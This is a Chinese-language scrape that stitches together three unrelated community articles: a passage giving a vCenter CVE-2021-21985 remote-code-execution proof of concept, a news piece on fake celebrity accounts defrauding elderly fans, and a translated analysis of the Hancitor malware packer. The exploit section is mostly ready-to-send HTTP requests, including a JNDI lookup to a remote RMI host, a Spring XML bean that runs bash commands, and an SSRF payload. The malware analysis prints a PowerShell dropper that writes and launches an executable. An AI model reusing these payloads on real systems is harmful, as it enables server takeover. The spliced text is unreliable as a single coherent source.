关键的类 `javax.naming.InitialContext.doLookup`
触发步骤：
methodInvoker.setTargetObject(null);
methodInvoker.setStaticMethod("javax.naming.InitialContext.doLookup");
methodInvoker.setTargetMethod("doLookup");
methodInvoker.setArguments("rmi://ip:1099/Exploit");
methodInvoker.prepare();
methodInvoker.invoke();
PoC构造：
直接访问
`/ui/h5-vsan/rest/proxy/service/org.springframework.beans.factory.config.MethodInvokingFactoryBean/setTargetObject`
No qualifying bean of type 'org.springframework.beans.factory.config.MethodInvokingFactoryBean' available: expected single matching bean but found 7: &vsanProviderUtils_setVmodlHelper,
&vsanProviderUtils_setVsanServiceFactory,
&vsanQueryUtil_setDataService,
&vsanCapabilityUtils_setVsanCapabilityCacheManager,
&vsanUtils_setMessageBundle,
&vsanFormatUtils_setUserSessionService,
&vsphereHealthProviderUtils_setVsphereHealthServiceFactory
肯定是无法找到的，并且找到的几个映射的bean name，需要通过bean name进行映射调用
`&vsanProviderUtils_setVmodlHelper` ->
`org.springframework.beans.factory.config.MethodInvokingFactoryBean`
**完整PoC**
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23
{"methodInput": [null]}
其他几个步骤一样的构造方法。
##### 0x05 回显利用链
分析的话，就看原作者的吧 <http://noahblog.360.cn/vcenter-cve-2021-2021-21985/>
利用的是 `com.vmware.vim.vmomi.core.types.impl.VmodContextImpl` 的
`loadVmodlPackage` 方法
并且方法中调用了 `SpringContextLoader` `vmodPackage` 可控，最终可以指定一个 XML 文件路径，Spring 会解析
XML 的内容，造成 SpEL 注入，从而实现执行任意代码。
#### 漏洞复现
##### Tomcat RMI 利用链POC
Step 1 setTargetObject to null
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23
{"methodInput": [null]}
Step 2 setStaticMethod to payload
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 57
{"methodInput": ["javax.naming.InitialContext.doLookup"]}
Step 3 setTargetMethod to doLookup
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 29
{"methodInput": ["doLookup"]}
Step 4 setArguments with payload args
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 56
{"methodInput": [["rmi://104.156.231.150:1099/pblc0c"]]}
Step 5 initial payload class and methods
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23
{"methodInput": [null]}
Step 6 trigger method invoke
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 23
{"methodInput": [null]}
##### 可出网回显PoC
**context.xml**
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ ls -la / 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
</bean>
</beans>
利用python开启web服务器
POST /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 44
{"methodInput": [["http://169090381:9999"]]}
调用 `systemProperties` 的 `getProperty` 方法来获取内存在执行命令的结果
POST /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 32
{"methodInput": ["output",null]}
##### 不可出网PoC
结合了SSRF直接通过 `data:text/html;base64,` 方式加载压缩包，在 `driverOfflineBundle`
的方法中会自动解压提取内部的xml，导致不出网触发漏洞
POST /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 893
{"methodInput": [["https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,UEsDBBQAAAAIAKd4xVKwSBTWpQEAAIgEAAASAAAAb2ZmbGluZV9idW5kbGUueG1spVNNT9wwFLwj8R/cIKGNxNrQ3rZJJD4uSCAhtodKlIPjfZsYHDv4OZtFiP+Oay9lv1ppSy5x3pt5mRnbWQlcI5k3SmOe1M61I8b6vqfYWqmrqeUN9MY+UmMrhqKGhrNASfb3SHwCdzRHucLvvwXK1+PjE/bz+mocqEOp0XEtYImNchTnXhnBnTQ6f2/uoGYXLIuAYfigc5wkRfxhyILISZ60ZUKE4ugjeeAzThXXFb2xRgDiWSfVBOw7KRCF8b5sJ5yxQ26rpZZvKolupeJrM646KFgpNSs51hmLha2oofhnO/tyd35x+uP0jvS14Y0k9/fFNkLG1oRkbLvsLMS0kYnE1UykoZe67dzYWeDNLfBdQvmj/uClLak/E9YNUlqBWxo5SF83fewourQbos+66RQsTP5fscTPCxNGKfgNXUu1c1JRDP7p+Qem+MsYfEYHzZbDOo6NZYGtNS1Y90y0vxl50tfcwcwnQIKVPDl4IXEcRXA3C/Dg8Kkz7rvpnN+XuD4ipaVKakC/ZQsfgw8/9MFI7e/XgvlLx3eapuQ1YeupxAUWb1BLAQIfABQAAAAIAKd4xVKwSBTWpQEAAIgEAAASACQAAAAAAAAAIAAAAAAAAABvZmZsaW5lX2J1bmRsZS54bWwKACAAAAAAAAEAGADeNPEi2VnXAd408SLZWdcBm/yF3shZ1wFQSwUGAAAAAAEAAQBkAAAA1QEAAAAA#"]]}
POST /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty HTTP/1.1
Host: 192.168.80.155
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 32
{"methodInput": ["output",null]}
#### 漏洞EXP
<https://github.com/r0ckysec/CVE-2021-21985>
##### rmi反弹shell exp
##### 可回显exp
#### Reference
<https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/>
<https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985#rapid7-analysis>
<http://noahblog.360.cn/vcenter-cve-2021-2021-21985/> | 社区文章 |
# 被当红男星“全网表白”，“恋爱往事”背后暗藏肮脏交易
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近年来， **假冒明星账号骗取粉丝刷礼物、向粉丝兜售产品**
的情况并不罕见。近日，江西赣州61岁的黄女士因迷恋短视频平台上假冒的演员靳东事件，引发网友热议。靳东工作室发表声明，称截至目前，靳东本人从未在任何短视频平台开设账号，涉事账号是假冒的。
**图片来自网络**
## 六旬女子称被“靳东”全网表白：“他向全中国宣布了”
今年年初，61岁的黄女士通过抖音短视频平台刷到了一个顶着“靳东”头像的账号，并和对方取得了联系。黄女士称，“靳东”不仅对她表白、约她见面，还说要送给她一套房。为此，该账号在直播带货时，黄女士都会购买上面推销的产品。
**图片来自网络**
然而， **这个所谓的“靳东”实际上只是一个将演员本人照片作为头像，昵称中含有该演员名字的普通短视频账号。**
同时，该账号所发布的相关视频作品也多为该演员接受采访时的画面，拼接上机器人的配音，或是在一些背景素材上直接打上引导性的动态文字。
## 漏洞百出的假冒账号为何轻易骗了中老年人？
冒充明星诈骗的这些账号的运营者大多 **采用嫁接视频的方式，截取演员演戏和接受采访的视频片段，加上人工或机器配音，自称是明星本人。**
技术并不高超，但仍有不少中老年人上当受骗。
**图片来自网络**
据多位被假明星账号欺骗的老人的家属透露，这些假冒知名演员、歌手的账号会回复关注者的留言，并且私信一些关心和问候的话语，让关注者觉得自己与明星成了朋友，开始相信对方。在积累一定量的粉丝后，这些账号开始直播带货变现。据专家分析，中老年人被假账号欺骗的原因，
**除了部分老年人对视频制作等技术缺少认知和辨别能力外，很重要的一点就是部分中老年人对名人会产生盲目的信任。**
## 短视频平台暗藏诈骗风险
目前， **市面上的短视频平台上的诈骗主要** **包括“身份冒充”“推荐兼职” “宠粉送礼物” “扫家长群二维码”‘网络贷款’等几大类，**
基本手法大多是让用户添加所谓“客服”的QQ或微信号，聊天过程引导用户扫码或下载APP，编造各种理由，诱导用户进行支付转账。
## 加大打击力度，多方防范网络诈骗
n对于短视频平台来说，应该加强对短视频内容的审核，完善举报投诉机制，方便用户及时举报投诉。
n对于用户来说，要提高自我防范的意识，不要轻信各种理由让你转账汇款的诱导，更不要把自己的个人信息提供给对方。
n发现被骗，及时收集证据，立即报警。 | 社区文章 |
# 深入分析Hancitor恶意软件最新Packer技术
|
##### 译文声明
本文是翻译文章，文章原作者 Jeff White
原文地址：<https://researchcenter.paloaltonetworks.com/2018/02/unit42-dissecting-hancitors-latest-2018-packer/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概要
在过去的俩年时间里，[Hancitor恶意软件家族](https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/)一直频繁地出现在网络攻击事件中，以至于在前线维护的人员几乎每周都要处理与他们相关的各种[麻烦](https://researchcenter.paloaltonetworks.com/2016/08/unit42-pythons-and-unicorns-and-hancitoroh-my-decoding-binaries-through-emulation/)。在这段时间中，光恶意软件本身就已经有80多个变种。攻击者有时只是为了攻击需要，去定义一些新变量，而其他时候则是由编写者彻底重写了恶意软件的核心功能。此外，他们还会时不时地采用一些之前从未使用过的新技术。但这些情况的持续时间都非常短。所以我们把这些情况看作是他们的“测试”阶段。我怀疑恶意软件的编写者是在监视不同情况下恶意软件的感染率。当他们发现效果并不是想象中那么好的时候，这次测试也就不欢而散了。如果你对典型的Hancitor
malspam（Malicious spam—恶意垃圾邮件）活动具体是如何运作感兴趣，Unit
42小组最近发布了一篇与之相关的[博文](https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/)，可以去看一下。而在这篇文章中，我将深入分析他们最新的恶意软件加壳技术。
在2018年1月24日、25日的攻击事件中，他们使用的是不同于一般的文档格式—富文本格式（RTF），并利用漏洞[CVE-2017-11882](https://portal.msrc.microsoft.com/en-US/eula)来执行shellcode。该shellcode用于执行一PowerShell命令来下载一份标准的二进制文件。这里的标准是说Hancitor在数月的攻击中经常使用这份二进制文件。在通常情况下，Hancitor是通过带有恶意宏的Microsoft
Word文档分发的，如果选择RTF文档则需要某种漏洞来执行代码。在过去，Hancitor一直保持与漏洞利用的距离，选择完全依赖社工的方法。这很可能是想规避防病毒检测（AV）以及终端检测响应（EDR）系统。
在24日的首个RTF变种其内容是相当直接的。然而，在25日的RTF文档就包含了一个与他们标准的二进制文件完全不同的嵌入式PE文件。此PE文件展示了Hancitor之前从未使用过的脱壳技术。这也是本篇文章将要介绍的重头戏。我的最终目标是要确定标准的Hancitor的命令与控制服务器（C2）的网址URL’S。因为就算是使用新的dropper，C2网址一般也不会更改。
以下分析皆由以下样本得出:
**SHA256** : B489CA02DCEA8DC7D5420908AD5D58F99A6FEF160721DCECFD512095F2163F7A
## 二、RTF Dropper
我不会去深入漏洞的细节，简单来说，就是他们在RTF文档中利用CVE-2017-11882执行shellcode，从而执行PowerShell命令。此命令是将一个base64编码的PE文件写入磁盘。之后为其调用Start-Process
cmdlet（在本地计算机上启用一个或多个线程的命令，可以指定执行文件，脚本文件等）。详细内容可以在[这里](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/start-process?view=powershell-6)找到。
$EUX4JTF7 = '';foreach($82OJU7FY3US in (1..12 | foreach{ '{0:X}' -f (Get Random -Max 235) })){$EUX4JTF7 += "$82OJU7FY3US"};
$NR3MNTAYNI = "$env:USERPROFILE" + $EUX4JTF7 + ".exe";[IO.File]::WriteAllBytes($NR3MNTAYNI,
[System.Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAA AAAAAAAAAA…<TRUNCATED>…AAAAAAAAAAAAA'));Start-Process $NR3MNTAYNI
## 三、Hancitor PE文件分析
在PE文件启动后，首先它会创建一个互斥锁称作“e”。然后开始利用一些防止反汇编的技术来阻止他人对其静态分析。一般来说大多流行的反汇编程序默认都是基于流程的反汇编（flow-oriented disassembly）而不是线性反汇编（linear
disassembly）。这意味着当反汇编程序分析应用指令时，如果指令将程序的执行跳转到另一个位置，那么反汇编程序会按照指令跳转到对应位置后继续分析。所以在分支之后的所有字节命令将不会被分析以及反汇编。利用这种特性来混淆反汇编程序是一种非常常见的技术。
此次的样本就是在寄存器中存放了一个地址。然后将其作为一个CALL指令的参数来使程序跳转到反汇编程序没有分析过的代码段。因为反汇编程序在分析过程中不知道寄存器中存放的值，假设代码由于其他原因而未被分析，那么就会只是将其视为“数据”。在调试器中，这个问题非常地微不足道，因为你可以在任何你想重新分析的地方下断点。
按照上述内容跳转到未分析的代码后，恶意软件开始启用更多防止反汇编，防止调试的技术。具体来说就是，在执行代码过程中，在每一俩个指令之后都跟着跳转指令。通常情况下，你可以按照顺序地读取指令，并理解整个功能，但在每条指令间都插入跳转后，流程就会变得模糊且难以分析。因为你只能在你的屏幕上看到整个功能的一俩条指令。这就需要你一步步地跟踪调试了。
在本次示例中，代码首先加载
VirtualProtect()函数地址到EAX寄存器，并在栈上构建参数以便调用。再一次利用寄存器完成函数调用来进一步防止静态分析。一旦调用成功，它会获取此PE文件所在内存空间的所有权限，以此来设置读，写，可执行位。如下所示。这也是Hancitor采用的一种新技术。它在加壳过程中会有特殊的用法，我们会在稍后介绍。
在给足执行中的程序所有的RWE权限后，意味着其可以被转移到任何想要映射的内存区域。当然通常是仅限于“代码”段。他们也没有理由不将其所有内容放到代码段。所以执行程序是否开放了所有RWE权限变成了一个很好的检测指标。这通常是通过原定义内存区域之外的隐藏代码来实现的。然而，在本样例中，实际上他们并没有在这块内存区域之外执行代码。所以调整权限是一种霰弹枪的行为（杀伤面积广，这里指调整权限可以有多方面的应用）。
接下来它采取的下一个操作依然是同样的指令跳转混淆。从地址0x402185开始，用0xD1去异或接下来的0xC80字节内容。其中一个有趣又很奇怪的点是他们将0x5AF06AD1给了EAX寄存器，但仅仅使用了低位字节—AL（0xD1），而忽略了其他三个字节。这不是Hancitor恶意软件第一次打算使用不完整的值。但是由于在代码中的错误引用导致它只能部分按照预期工作。解码过程如下所示:
004040EA 3007 XOR BYTE PTR DS:[EDI],AL
004040EC E9 8B000000 JMP b489ca02.0040417C
-- 0040417C 41 INC ECX
0040417D EB DD JMP SHORT b489ca02.0040415C
-- 0040415C 47 INC EDI
0040415D EB D8 JMP SHORT b489ca02.00404137
-- 00404137 39F1 CMP ECX,ESI
00404139 0F81 24FFFFFF JNO b489ca02.00404063
-- 00404063 0F82 81000000 JB b489ca02.004040EA
在这个循环完成了对新shellcode的解码后，它就会通过JMP指令将执行跳转到0x402185处。
为了展示还没有分析过的程序集，可以从调试器的角度看到在代码区中这些作为数据的字节值。
00402185 55 DB 55 ; CHAR 'U'
00402186 8B DB 8B
00402187 EC DB EC
00402188 81 DB 81
00402189 EC DB EC
0040218A 04 DB 04
0040218B 02 DB 02
0040218C 00 DB 00
0040218D 00 DB 00
0040218E 53 DB 53 ; CHAR 'S'
0040218F 56 DB 56 ; CHAR 'V'
00402190 57 DB 57 ; CHAR 'W'
00402191 60 DB 60 ; CHAR '`'
00402192 FC DB FC
通过告知调试器，我们所找到的需要重新分析的代码就可以让其变得可读。
00402185 . 55 PUSH EBP
00402186 . 8BEC MOV EBP,ESP
00402188 . 81EC 04020000 SUB ESP,204
0040218E . 53 PUSH EBX
0040218F . 56 PUSH ESI
00402190 . 57 PUSH EDI ; b489ca02.00402E05
00402191 . 60 PUSHAD
00402192 . FC CLD
## 四、最初的Shellcode
一旦进入这个新的shellcode中，它就开始利用GetProcAddress()函数来查找许多函数的地址。这些函数将会在整个脱壳过程中使用。函数名称并没有进行混淆，在经过上述过程解码后，就可以以纯文本的形式看到。
下面列出其查找的一些函数及dll名称:
> * GetModuleHandleA
> * LoadLibraryA
> * VirtualAlloc
> * VirtualFree
> * OutputDebugStringA
> * ntdll.dll
> * _stricmp
> * memset
> * memcpy
>
在整个脱壳过程中，VirtualAlloc(), memcpy()和VirtualFree()函数主要用于数据移动以及现有数据覆盖。
在它找到上述所有函数地址后，样本将会开辟出0x1000字节的内存页并将所有的解码后的shellcode复制到其中。接下来它开始寻找彩蛋（俩个双字值）—0x88BAC570和0x48254000。其中第二个值从开头开始的4字节内容就是它要找的下一个地址值。这种寻找特定值的方法使得代码可以独立定位，并且这种方法几乎在所有的Hancitor变种中都可以找到。在识别出地址后，这个地址会被用在另一个“JMP
EAX”指令中。作用是在新开辟的内存范围内将复制过来的shellcode的执行位置跳转到偏移量为0x3E4的新函数处。
## 五、数据设置
从流程控制的角度来看，尽管是从一个新的位置开始，但执行的是相同的代码。它释放了脱壳功能来覆盖掉Hancitor PE的主体代码。
首先采取的措施是覆盖掉三个位置的代码，通过将数据从代码段末尾复制到向前一些的区域内，如下所示:
在操作数据的过程中，发现了一个很好的例子可以说明其使用的一些反分析技术。
001F0453 EB 10 JMP SHORT 001F0465
001F0455 82EF 3D SUB BH,3D
001F0458 3C 5D CMP AL,5D
001F045A 53 PUSH EBX
001F045B C8 E8518D ENTER 51E8,8D
001F045F FB STI
001F0460 D9D0 FNOP
001F0462 231B AND EBX,DWORD PTR DS:[EBX]
001F0464 14 83 ADC AL,83
001F0466 C003 89 ROL BYTE PTR DS:[EBX],89
001F0469 8540 FF TEST DWORD PTR DS:[EAX-1],EAX
在上述代码的顶部你会注意到“JMP SHORT
001F0465”指令所跳转的地址并不在左侧的地址列表中。这是一种常见的混淆代码流程的技术。因为它是在指令边界范围内线性地进行反汇编（即按照顺序），但JMP指令重定向到了边界之外。一旦这个jump实现跳转，实际上是落在了指令0x1F0464的中间。代码将根据指令指针位置被重新分析，并且完全改变了其含义。
001F0465 83C0 03 ADD EAX,3
001F0468 8985 40FFFFFF MOV DWORD PTR SS:[EBP-C0],EAX
## 六、继续脱壳寻找更多的shellcode
下面所要介绍的就是脱壳实际发生的地方了，这也是本篇博客所要讲的主要部分。但在开始之前，如果你已经了解RC4加密算法的具体原理。包括初始化算法（KSA）以及伪随机子密码生成算法（PRGA），那么你可以选择跳过下面的前俩个部分。
一般来说加壳程序都是试图寻找去以不同于原始内容的方式修改数据或者代码，从而有效地达到混淆的目的。加壳程序本身并不坏，但它无疑为恶意软件添加了一层逃避检测的壳。所以他们更加倾向于携手并进。每一种加壳程序为了实现上述所说的最终目的，都会去尝试使用独特的算法。这就使得以编写代码来大规模自动化脱壳变得十分困难。代码加壳算法甚至可以是简单地对所有字节进行异或然后加密或者压缩。
在这次的样本中，他们创建出一种算法。是用RC4的初始化算法（KSA），然后配以用伪随机子密码生成算法（PRGA）循环生成的偏移量表来让命令重新组合成更多的shellcode。
## 七、RC4 初始化算法（KSA）
为了后续加密过程的展开，样例创建了在RC4 KSA中所用的S盒(S-box)。首先，它在栈上分配一个从0x0到0x100(0-256)的递增数组。
我已经在下述构建、修改S盒的代码中添加了详细注释。下述方法广泛应用于整个脱壳过程中。
# Counter Check
001F04CA 8B4D F8 MOV ECX,DWORD PTR SS:[EBP-8] ; Set ECX to counter value
001F04CD 83C1 01 ADD ECX,1 ; Increment counter by 0x1
001F04D0 894D F8 MOV DWORD PTR SS:[EBP-8],ECX ; Store counter on stack
001F04D3 817D F8 00010000 CMP DWORD PTR SS:[EBP-8],100 ; Compare counter to 0x100
001F04DA 74 61 JE SHORT 001F053D ; End loop if counter is at 0x100
# Add previous loop value to value found at index in array 2 and the counter
001F04DC 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] ; Set EAX to counter value
001F04DF 33D2 XOR EDX,EDX ; Zero-out EDX register
001F04E1 F7B5 48FFFFFF DIV DWORD PTR SS:[EBP-B8] ; Divide counter by 0x10 to retrieve index value for array 2
001F04E7 8B85 40FFFFFF MOV EAX,DWORD PTR SS:[EBP-C0] ; Set EAX to value of array 2 offset
001F04ED 0FB60410 MOVZX EAX,BYTE PTR DS:[EAX+EDX] ; Set EAX to value at array 2 offset + counter
001F04F1 0345 EC ADD EAX,DWORD PTR SS:[EBP-14] ; Add previous result to EAX (0 on first run)
001F04F4 8B4D F8 MOV ECX,DWORD PTR SS:[EBP-8] ; Set ECX to counter value
001F04F7 0FB6940D FCFDFFFF MOVZX EDX,BYTE PTR SS:[EBP+ECX-204] ; Set EDX to value of array 1 offset + counter
001F04FF 03C2 ADD EAX,EDX ; Add the array 1 and array 2 values
001F0501 33D2 XOR EDX,EDX ; Zero-out EDX register
001F0503 B9 00010000 MOV ECX,100 ; Set ECX 0x100
001F0508 F7F1 DIV ECX ; Divide value in new value by 0x100
001F050A 8955 EC MOV DWORD PTR SS:[EBP-14],EDX ; Copy remainder value to stack (now "old" value)
001F050D 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8] ; Set EDX to counter value
# Swap the array 1 dereferenced values
001F0510 8A8415 FCFDFFFF MOV AL,BYTE PTR SS:[EBP+EDX-204] ; Set AL to value of array 1 offset + counter
001F0517 8845 F7 MOV BYTE PTR SS:[EBP-9],AL ; Store original value on stack
001F051A 8B4D F8 MOV ECX,DWORD PTR SS:[EBP-8] ; Set ECX to counter value
001F051D 8B55 EC MOV EDX,DWORD PTR SS:[EBP-14] ; Copy "old" value to EDX
001F0520 8A8415 FCFDFFFF MOV AL,BYTE PTR SS:[EBP+EDX-204] ; Set AL to value of array 1 offset + old value
001F0527 88840D FCFDFFFF MOV BYTE PTR SS:[EBP+ECX-204],AL ; Set first index in array 1 to new value
001F052E 8B4D EC MOV ECX,DWORD PTR SS:[EBP-14] ; Set ECX to counter value
001F0531 8A55 F7 MOV DL,BYTE PTR SS:[EBP-9] ; Copy "old" value from stack
001F0534 88940D FCFDFFFF MOV BYTE PTR SS:[EBP+ECX-204],DL ; Set second index in array 1 to old value
001F053B ^ EB 8D JMP SHORT 001F04CA ; Next iteration
在本次示例中，存在俩个数组，一个是在栈上构建的S盒数组，另一个是在新shellcode的0x455处的16字节的密钥数组。该密钥数组用来修改整个KSA的值（其实就是将S盒扰乱，同时保证扰乱是随机的）。他利用计数器的计数值（即迭代次数）与0x10进行模运算，得到的结果被用作密钥数组的索引。将根据此索引找到的值加到前一次迭代产生的最终值里。如果是第一次迭代，这个最终值为0。在俩个值相加后，他会将计数器的计数值加到总和中。然后以0x100作为模数进行模运算，其结果就是下一次迭代新的最终值。
在上述迭代完成后，它会将最终值作为256字节的S盒的索引，并交换计数器计数值作为索引所指向的值与最终值作为索引所指向的值。这就是RC4 初始化算法。
这里有一个在循环中迭代0x14时的一个例子。一些数据已经被修改，你可以看到0xC6后，在偏移量为0x13处，存在递增量0x14，0x15，0x16，0x17等。
对于0x14，它通过模0x10得到结果0x4，将其作为在密钥数组中寻找值的索引。在密钥数组中key[4]的值为0x5D，所以将它与前一个最终值0xC6相加（可以在偏移量0x13处找到，就是上图中0x14前边的值）。
0x5D + 0xC6 = 0x123
接下来，它将计数器的计数值加到上述结果中。对于第一次迭代，计数索引指向值与计数值相等，但是最终这些值会被覆盖，其值也会相应地改变。
0x123 + 0x14 = 0x137 % 0x100 = 0x37
现在sbox1[0x37]与sbox1[0x14]的值已经进行了交换，如下所示:
在下一次迭代中，密钥值为0x53，计算过程变为如下:
(0x53 + 0x37 + 0x15) % 0x100 = 0x9F
即sbox1[0x9F]与sbox1[0x15]互换值。
你会在上述示例的输出中看到偏移量为0x1A处的值为0xC。在迭代0x1A后，0xC会与密钥以及前一个最终值相加。这会发生在256次迭代的每一次迭代中并且每次的值都是从其原始位置开始转换的。Talos在2014年有一篇很好的[博文](http://blog.talosintelligence.com/2014/06/an-introduction-to-recognizing-and.html)来讨论关于恶意软件中的S盒。至于[RC4](https://en.wikipedia.org/wiki/RC4)，你可以在维基上找到其完整的概述。
下面是我用python写的关于上述内容的代码，相较于文字描述，代码可能会更加让人容易理解。
def sbox1init():
return [x for x in range(0, 0x100)]
def rc4ksa(sbox1, key):
oldValue = 0x0
for counter in range(0, len(sbox1)):
addValue = key[counter % len(key)]
fnlValue = (oldValue + addValue + sbox1[counter]) % 0x100
sbox1[fnlValue], sbox1[counter] = sbox1[counter], sbox1[fnlValue]
oldValue = fnlValue
return sbox1
key = [0x82, 0xEF, 0x3D, 0x3C, 0x5D, 0x53, 0xC8, 0xE8, 0x51, 0x8D, 0xFB, 0xD9, 0xD0, 0x23, 0x1B, 0x14]
sbox1 = rc4ksa(sbox1init(), key)
在python代码中，第一次迭代，sbox1[0x0]的值为0x00，且key[0x0]的值为0x82。之后将0x0加到0x82上，然后再加0x0（sbox1[counter]的值）,然后将结果除以0x100。得到的余数为0x82，将其放置在sbox1[0x0]处，再之后sbox1[0x0]处的值将与sbox1[0x82]处的值交换。实际上，有很多更清晰的[RC4
KSA](https://en.wikipedia.org/wiki/RC4)在线代码示例，但为了学习，同时为了查看恶意软件作者在引入RC4算法过程中是否有错误，我选择完全按照其使用的逻辑复现了他的所有内容。
## 八、RC4 伪随机子密码生成算法（PRGA）
RC4 PRGA主要用于脱壳过程中循环生成密钥流。但是如何使用该值是本文的重要内容，也是恶意软件作者不同于RC4算法之处。
我会简单地介绍一下PRGA，然而再进到循环脱壳过程中。
利用循环计数器作为原始S盒的索引，PRGA将sbox1[counter]的值加到之前的密钥流值上来得到第二个索引（secondindex）。这些值将在S盒中进行交换，类似于KSA。最后，它将检索sbox1[counter]以及sbox1[secondindex]，并将他们相加，然后以0x100作为模数进行模运算，将得到的结果作为新的密钥流值。
例如，第一个引用的值（在本示例中计数器从1开始）是sbox1[0x1]，在完成KSA后为0x7。sbox1[0x7]处的值为0xA6，之后他们彼此交换值，所以sbox1[0x1]处的值为0xA6而sbox1[0x7]处的值为0x7。然后将0xA6与0x7相加得到0xAD，检索sbox1[0xAD]的值，这里是0x58，将其作为密钥流值。
好的，到这的话，如果是常规RC4算法接下来只要将密钥流与明文异或得到密文或是与密文异或得到明文就可以了。但是正如你想的那样，Hancitor并非如此。
## 九、偏移量表
我们把视线回退到S盒生成结束后，下一步是分配俩块内存区域。然后，通过一串递增到0x5C36的数组填充第一块区域。但在这里它在存放的值不再是单字节而是双字。该内存区域将会是另一个功能性的S盒。
接下来，它开始进入主要的循环脱壳阶段也是整套操作的重中之重。在每一次的迭代循环中，它都会使用内循环（之前所详细描述的RC4
PRGA）来检索1字节的密钥流值—在每个外循环下执行4次内循环。
在得到4字节的密钥流值后，它会将4字节内容拼接成一个双字。然后以外循环的计数值作为模数进行模运算—计数值初始值为数据长度（0x5C36），之后递减且每次减1。
例如，密钥流值的前四个字节为0x58, 0x58, 0xF2和0xEA。首先将他们拼接成0xEAF25858。然后进行模运算:
0xEAF25858 % 0x5C36 = 0x5200
此结果会作为第二个双字S盒的索引。接下来找到索引所指向的值并将其存储到第三块内存区域，每次偏移量加4。最后，他会交换在第二块内存区域找到的值与在第二个S盒中根据索引找到的值。
在本次示例中，第三块内存区域的首个双字值为0x5200。所以它将第二块内存区域偏移量为0x5200处的值与计数值进行交换，即为0x5C35（4字节递减）。偏移量为0x5C35处的值也就变成了0x5200。
此过程一直持续到外循环结束，一旦完成，它将分配另一个内存区域，用于存放从主程序地址为0x401000处开始向后0x5C36个字节的内容。
好的，如果你坚持看到了这里。我想传达的就是，上述所有内容就是在创建一个详细的双字偏移量表，用作索引，定义了如何将数据还原回去，也是最终下面要发生的事情。
对于在新内存区域内的每一个字节，也就是地址范围从0x401000-0x406C36复制过来的数据。它会从0x401000开始迭代，每一个加上其相应的双字值，然后复制该字节。提醒一下，在此复制过去的数据与最初调用三次memcpy()移动的数据相同。
如前所述，第三个内存区域的首个双字内容是0x5200，且0x401000处的第一个字节是0x8B，因此在0x406200（0x401000 +
0x5200）处其值为0x8B。没有改变任何字节值，这是在标准的RC4算法中所实现的，只是将他们重新排列成他们各自的顺序。
